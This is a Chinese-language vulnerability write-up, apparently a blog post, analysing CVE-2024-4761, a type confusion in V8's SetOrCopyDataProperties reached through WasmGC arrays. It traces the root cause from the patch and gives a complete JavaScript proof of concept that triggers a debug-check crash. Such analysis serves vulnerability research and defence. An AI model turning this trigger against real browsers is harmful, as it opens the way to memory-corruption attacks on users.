1. 前言
在讲述漏洞之前, 让我们设想这样一个场景: 你有一座设有严密防御的城堡,城墙高大坚固,把敌人挡在外面。你的城堡有唯一的入口,那就是一个重门深锁、有严格守卫检查的大门。然后,为了增加便利性,你决定在城堡的另一侧增加一个小门,方便城堡内的人快速出入。然而,你在增加这个新功能后,忘记了对这个小门进行同样严格的防御和检查 。这就相当于在你的城堡的防线上留下了一个大漏洞。敌人可以绕过主门的严格检查,通过这个没有守卫的小门轻易进入城堡。
本次要讲述的漏洞CVE-2024-4761就是城堡的小门 : 随着v8中wasm模块的蓬勃发展, 添加了许多新类型的对象, 这些新类型对于旧有的代码提出了源源不断的挑战, 导致旧有代码遗漏了某些检查.
本文着重于漏洞分析, 尝试从patch开始一步步构建出POC.
根据官方修复patch: https://chromium-review.googlesource.com/c/v8/v8/+/5527397 , 我们可以得知: 该漏洞在f320600cd1f48ba6bb57c0395823fe0c5e5ec52e
这个commit中被修复, parent commit为66c0bd3237b1577e6291de56003f8fddc6b65b16
, 因此后续的源码分析都是基于parent commit进行的.
2. 背景知识
在进入漏洞分析之前, 我们首先需要了解一下相关函数
2.1 如何触发SetOrCopyDataProperties()
漏洞被认为是一个类型混淆, 位于SetOrCopyDataProperties()
方法中, 因此首先研究如何触发该函数
1 2 3 4 5 6 7 8 V8_WARN_UNUSED_RESULT static Maybe<bool > SetOrCopyDataProperties ( Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source, PropertiesEnumerationMode mode, const base::ScopedVector<Handle<Object>>* excluded_properties = nullptr , bool use_set = true ) ;
这个函数没有直接暴露给js态使用, 而是先被封装为Runtime方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 RUNTIME_FUNCTION (Runtime_SetDataProperties) { HandleScope scope (isolate) ; DCHECK_EQ (2 , args.length ()); Handle<JSReceiver> target = args.at<JSReceiver>(0 ); Handle<Object> source = args.at (1 ); if (IsUndefined (*source, isolate) || IsNull (*source, isolate)) { return ReadOnlyRoots (isolate).undefined_value (); } MAYBE_RETURN (JSReceiver::SetOrCopyDataProperties ( isolate, target, source, PropertiesEnumerationMode::kEnumerationOrder), ReadOnlyRoots (isolate).exception ()); return ReadOnlyRoots (isolate).undefined_value (); } RUNTIME_FUNCTION (Runtime_CopyDataProperties) { HandleScope scope (isolate) ; DCHECK_EQ (2 , args.length ()); Handle<JSObject> target = args.at<JSObject>(0 ); Handle<Object> source = args.at (1 ); if (IsUndefined (*source, isolate) || IsNull (*source, isolate)) { return ReadOnlyRoots (isolate).undefined_value (); } MAYBE_RETURN ( JSReceiver::SetOrCopyDataProperties ( isolate, target, source, PropertiesEnumerationMode::kPropertyAdditionOrder, nullptr , false ), ReadOnlyRoots (isolate).exception ()); return ReadOnlyRoots (isolate).undefined_value ();
Runtime方法用于涉及到对象属性复制的slow path, 比如TF定义的builtinSetDataProperties
就会在GotoIfForceSlowPath()
或者fast path无法进行时时跳转到Runtime::kSetDataProperties
, 进入slow path的条件
!(IsEmptyFixedArray(source_elements) && !IsEmptySlowElementDictionary(source_elements)
: source的elements不是空数组并且也不是空的dictionary, 那么就进入runtime
IsJSReceiverInstanceType(source_instance_type)
: 如果是JSReceiver的衍生对象, 但不是JSObject, 那么就进入slow path处理
IsDeprecatedMap(target_map)
: target的map被弃用, 此时写入target会触发target map更新, fast path无法处理
EnsureOnlyHasSimpleProperties(source_map, type, bailout)
IsJSReceiverInstanceType(source_instance_type)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 TF_BUILTIN (SetDataProperties, SetOrCopyDataPropertiesAssembler) { auto target = Parameter<JSReceiver>(Descriptor::kTarget); auto source = Parameter<Object>(Descriptor::kSource); auto context = Parameter<Context>(Descriptor::kContext); Label if_runtime (this , Label::kDeferred) ; GotoIfForceSlowPath (&if_runtime); SetOrCopyDataProperties (context, target, source, &if_runtime, base::nullopt, base::nullopt, true ); Return (UndefinedConstant ()); BIND (&if_runtime); TailCallRuntime (Runtime::kSetDataProperties, context, target, source); }
一个比较简单的触发SetOrCopyDataProperties
的方式就是通过Object.assign()
Object.assign()
调用Builtin::kSetDataProperties
Builtin::kSetDataProperties
尝试fast path失败后进入Runtime::kSetDataProperties
Runtime::kSetDataProperties
调用到CPP方法SetOrCopyDataProperties()
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 TF_BUILTIN (ObjectAssign, ObjectBuiltinsAssembler) { TNode<IntPtrT> argc = ChangeInt32ToIntPtr ( UncheckedParameter<Int32T>(Descriptor::kJSActualArgumentsCount)); CodeStubArguments args (this , argc) ; auto context = Parameter<Context>(Descriptor::kContext); TNode<Object> target = args.GetOptionalArgumentValue (0 ); TNode<JSReceiver> to = ToObject_Inline (context, target); Label done (this ) ; GotoIf (UintPtrLessThanOrEqual (args.GetLengthWithoutReceiver (), IntPtrConstant (1 )), &done); args.ForEach ( [=](TNode<Object> next_source) { CallBuiltin (Builtin::kSetDataProperties, context, to, next_source); }, IntPtrConstant (1 )); Goto (&done); BIND (&done); args.PopAndReturn (to); }
触发slow path进入SetOrCopyDataProperties()
的例子如下
1 2 3 4 5 6 7 let from = {};from [0 ]=0 ;let target = {};Object .assign(target, from );%SystemBreak();
2.2 SetOrCopyDataProperties()
的作用
下面分析一下SetOrCopyDataProperties()
的具体行为, 研究下具体是那部分出错了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 Maybe<bool > JSReceiver::SetOrCopyDataProperties ( Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source, PropertiesEnumerationMode mode, const base::ScopedVector<Handle<Object>>* excluded_properties, bool use_set) { Maybe<bool > fast_assign = FastAssign (isolate, target, source, mode, excluded_properties, use_set); if (fast_assign.IsNothing ()) return Nothing<bool >(); if (fast_assign.FromJust ()) return Just (true ); Handle<JSReceiver> from = Object::ToObject (isolate, source).ToHandleChecked (); Handle<FixedArray> keys; ASSIGN_RETURN_ON_EXCEPTION_VALUE ( isolate, keys, KeyAccumulator::GetKeys (isolate, from, KeyCollectionMode::kOwnOnly, ALL_PROPERTIES, GetKeysConversion::kKeepNumbers), Nothing<bool >()); if (!from->HasFastProperties () && target->HasFastProperties () && !IsJSGlobalProxy (*target)) { int source_length; if (IsJSGlobalObject (*from)) { source_length = JSGlobalObject::cast (*from) ->global_dictionary (kAcquireLoad) ->NumberOfEnumerableProperties (); } else if constexpr (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) { source_length = from->property_dictionary_swiss ()->NumberOfEnumerableProperties (); } else { source_length = from->property_dictionary ()->NumberOfEnumerableProperties (); } if (source_length > kMaxNumberOfDescriptors) { JSObject::NormalizeProperties (isolate, Handle<JSObject>::cast (target), CLEAR_INOBJECT_PROPERTIES, source_length, "Copying data properties" ); } } for (int i = 0 ; i < keys->length (); ++i) { Handle<Object> next_key (keys->get(i), isolate) ; if (excluded_properties != nullptr && HasExcludedProperty (excluded_properties, next_key)) { continue ; } PropertyDescriptor desc; Maybe<bool > found = JSReceiver::GetOwnPropertyDescriptor (isolate, from, next_key, &desc); if (found.IsNothing ()) return Nothing<bool >(); if (found.FromJust () && desc.enumerable ()) { Handle<Object> prop_value; ASSIGN_RETURN_ON_EXCEPTION_VALUE ( isolate, prop_value, Runtime::GetObjectProperty (isolate, from, next_key), Nothing<bool >()); if (use_set) { Handle<Object> status; ASSIGN_RETURN_ON_EXCEPTION_VALUE ( isolate, status, Runtime::SetObjectProperty (isolate, target, next_key, prop_value, StoreOrigin::kMaybeKeyed, Just (ShouldThrow::kThrowOnError)), Nothing<bool >()); } else { PropertyKey key (isolate, next_key); CHECK (JSReceiver::CreateDataProperty (isolate, target, key, prop_value, Just (kThrowOnError)) .FromJust ()); } } } return Just (true ); }
总结一下操作逻辑
首先调用FastAssign()
尝试fast path处理, 失败后进入后续部分
调用KeyAccumulator::GetKeys(from)
获取from
中的所有属性, 这里就elements和properties一起处理了
清理fast properties: 如果from没有fast properties, 但是target有fast properties, 那么就会调用NormalizeProperties(target)
把target中的fast properties转换为字典实现
后续遍历from中所有的属性, 写入target
中
FastAssign()
的退出条件如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 V8_WARN_UNUSED_RESULT Maybe<bool > FastAssign ( Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source, PropertiesEnumerationMode mode, const base::ScopedVector<Handle<Object>>* excluded_properties, bool use_set) { if (!IsJSReceiver (*source)) { return Just (!IsString (*source) || String::cast (*source)->length () == 0 ); } ... Handle<Map> map (JSReceiver::cast(*source)->map(), isolate) ; if (!IsJSObjectMap (*map)) return Just (false ); if (!map->OnlyHasSimpleProperties ()) return Just (false ); Handle<JSObject> from = Handle<JSObject>::cast (source); if (from->elements () != ReadOnlyRoots (isolate).empty_fixed_array ()) { return Just (false ); } Handle<DescriptorArray> descriptors (map->instance_descriptors(isolate), isolate) ; ... } UNREACHABLE (); } }
因此只要from的elements不是fixed empty array的, 那么FastAssign()
就会退出
3. 漏洞根因
根据漏洞修复的diff:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @@ -434,9 +434,7 @@ Nothing<bool>()); if (!from->HasFastProperties() && target->HasFastProperties() && - !IsJSGlobalProxy(*target)) { - // JSProxy is always in slow-mode. - DCHECK(!IsJSProxy(*target)); + IsJSObject(*target) && !IsJSGlobalProxy(*target)) { // Convert to slow properties if we're guaranteed to overflow the number of // descriptors. int source_length;
问题出现在调用NormalizeProperties(target)
的逻辑上, 调用JSObject::NormalizeProperties()
前额外限制了target
必须是JSObject
在打上这个Patch之前: 调用NormalizeProperties()
时会执行Handle<JSObject>::cast(target)
把target强制转换为JSObject
类型
但是根据参数声明: Handle<JSReceiver> target
只能保证target
是JSReceiver
因此Handle<JSObject>::cast(target)
这个强制类型转换是不安全的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Maybe<bool > JSReceiver::SetOrCopyDataProperties ( Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source, PropertiesEnumerationMode mode, const base::ScopedVector<Handle<Object>>* excluded_properties, bool use_set) { ... if (!from->HasFastProperties () && target->HasFastProperties () && !IsJSGlobalProxy (*target)) { int source_length; ... if (source_length > kMaxNumberOfDescriptors) { JSObject::NormalizeProperties (isolate, Handle<JSObject>::cast (target), CLEAR_INOBJECT_PROPERTIES, source_length, "Copying data properties" ); } } ... }
JSReceiver
与JSObject
的区别如下, JSReceiver
比 JSObject
少了一个 elements
字段
1 2 3 4 5 6 7 extern class JSReceiver extends HeapObject { properties_or_hash: SwissNameDictionary|FixedArrayBase|PropertyArray|Smi; } extern class JSObject extends JSReceiver { elements: FixedArrayBase;
因此: 当 target
是 JSReceive
的子类型, 但又不是 JSObject
类型时, 就会触发漏洞
根据out.gn/CVE-2024-4761/gen/torque-generated/instance-types.h
中的类继承关系, 满足条件的只有JS_PROXY_TYPE
, WASM_ARRAY_TYPE
, WASM_STRUCT_TYPE
三种类型.
1 2 3 4 5 6 7 8 9 10 11 V (FIRST_JS_RECEIVER_TYPE, 290 ) \ V (FIRST_WASM_OBJECT_TYPE, 290 ) \ V (WASM_ARRAY_TYPE, 290 ) \ V (WASM_STRUCT_TYPE, 291 ) \ V (LAST_WASM_OBJECT_TYPE, 291 ) \ V (JS_PROXY_TYPE, 292 ) \ V (FIRST_JS_OBJECT_TYPE, 293 ) \ ... V (LAST_JS_OBJECT_TYPE, 2165 ) \ V (LAST_JS_RECEIVER_TYPE, 2165 ) \ V (LAST_HEAP_OBJECT_TYPE, 2165 ) \
看得出之前在编写 SetOrCopyDataProperties()
的代码时只考虑到了 JS_PROXY_TYPE
的情况, 所以进行了过滤, 但是后面添加 WASM_ARRAY_TYPE, WASM_STRUCT_TYPE
时没有考虑到 SetOrCopyDataProperties()
, 由此导致了漏洞
4. 构造POC
4.1 创建WasmArray
对象
那么如何构造出一个WasmArray
对象? 研究发现v8发现没有直接提供JS API来创建这个对象, 而且由于WASM GC是一个比较新的提案, 因此wat2wasm
这个工具目前也不支持array.new
这种语法, 因此只能通过wasm-module-builder
构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 const prefix = "../../" ;d8.file.execute (`${prefix}/test/mjsunit/wasm/wasm-module -builder.js`); let builder = new WasmModuleBuilder (); let array = builder.addArray (kWasmI32, true ); builder.addFunction ( 'createArray' , makeSig ([kWasmI32], [kWasmExternRef]) ).addBody ([ kExprLocalGet, 0 , kGCPrefix, kExprArrayNewDefault, array, kGCPrefix, kExprExternConvertAny, ]).exportFunc (); let instance = builder.instantiate ({}); let wasm = instance.exports; let array42 = wasm.createArray (42 ); %DebugPrint (array42);
构造出WasmArray
对象后就要想办法进入JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target)
4.2 进入SetOrCopyDataProperties()
对于Object.assign(...)
1 2 let from = {};Object .assign(array42, from );
Object.assign()
调用Builtin::kSetDataProperties
处理, 但是fast path: SetOrCopyDataProperties()
就可以直接完成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 TF_BUILTIN (SetDataProperties, SetOrCopyDataPropertiesAssembler ) { auto target = Parameter<JSReceiver>(Descriptor::kTarget); auto source = Parameter<Object >(Descriptor::kSource); auto context = Parameter<Context>(Descriptor::kContext); Label if_runtime(this , Label ::kDeferred); GotoIfForceSlowPath(&if_runtime); SetOrCopyDataProperties(context, target, source, &if_runtime, base ::nullopt, base ::nullopt, true ); Return(UndefinedConstant()); BIND(&if_runtime); TailCallRuntime(Runtime::kSetDataProperties, context, target, source); }
为了不进入SetOrCopyDataProperties()
, 只需要让job(from)->elements
非空这样就可以进入SetOrCopyDataProperties()
1 2 3 4 let from = {};from [0 ]=0 ;Object .assign(array42, from );
4.3 触发NormalizeProperties()
进入SetOrCopyDataProperties()
只要from的elements非空, FastAssign()就无法处理, 进入slow path部分
首先要满足!from->HasFastProperties() && target->HasFastProperties()
target->HasFastProperties()
恒成立, WasmArray::properties
为kEmptyFixedArray
想要满足!from->HasFastProperties()
, 只需要让from
的properties
通过字典实现即可
source_length > kMaxNumberOfDescriptors
: 需要让from
中properties超过kMaxNumberOfDescriptors
个, 也就是1020
个, 那么就可以成功进入NormalizeProperties(..., target)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 Maybe<bool> JSReceiver::SetOrCopyDataProperties ( Isolate* isolate, Handle<JSReceiver> target, Handle<Object > source, PropertiesEnumerationMode mode, const base::ScopedVector<Handle<Object >>* excluded_properties, bool use_set ) { Maybe<bool> fast_assign = FastAssign(isolate, target, source, mode, excluded_properties, use_set); if (fast_assign.IsNothing()) return Nothing<bool>(); if (fast_assign.FromJust()) return Just(true ); ... if (!from ->HasFastProperties() && target->HasFastProperties() && !IsJSGlobalProxy(*target)) { int source_length; ... if (source_length > kMaxNumberOfDescriptors) { JSObject ::NormalizeProperties(isolate, Handle<JSObject>::cast(target), CLEAR_INOBJECT_PROPERTIES, source_length, "Copying data properties" ); } } ... }
因此这部分poc如下
1 2 3 4 5 6 7 8 9 10 11 12 let from = {};from [0 ]=0 ;for (let i=0 ; i<1021 ; i++) { from ['p' +i] = i; } Object .assign(array42, from );
4.4 完整POC
最终下面这样的POC即可触发crash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 const prefix = "../../" ;d8.file.execute(`${prefix} /test/mjsunit/wasm/wasm-module-builder.js` ); let builder = new WasmModuleBuilder();let array = builder.addArray(kWasmI32, true );builder.addFunction('createArray' , makeSig([kWasmI32], [kWasmExternRef])) .addBody([ kExprLocalGet, 0 , kGCPrefix, kExprArrayNewDefault, array, kGCPrefix, kExprExternConvertAny, ]).exportFunc(); let instance = builder.instantiate({});let wasm = instance.exports;let array42 = wasm.createArray(42 );%DebugPrint(array42); let from = {};from [0 ]=0 ;for (let i=0 ; i<1021 ; i++) { from ['p' +i] = i; } Object .assign(array42, from );%SystemBreak();
crash如下
1 2 3 4 5 # # Fatal error in ../../src/objects/map-inl.h, line 344 # Debug check failed: IsJSObjectMap(*this ). # #
5. 总结
这个漏洞的根因在于支持WasmGC之后添加了新的对象类型, 导致与属性访问部分的老代码漏判.
实际上随着wasm模块的发展, 随之而来的漏洞源源不断. 对于漏洞挖掘工作提供了重要的启发: 一定关注新代码, 因为新的代码往往是最容易被攻击的部分. 他们在开发过程中必须格外留意,确保旧有的代码能够安全地处理新的代码。在我们的"城堡"上打开新的一扇"小门"时,我们必须谨记,绝不能忘记对这扇新开的"小门"进行严格的安全检查。
6. Reference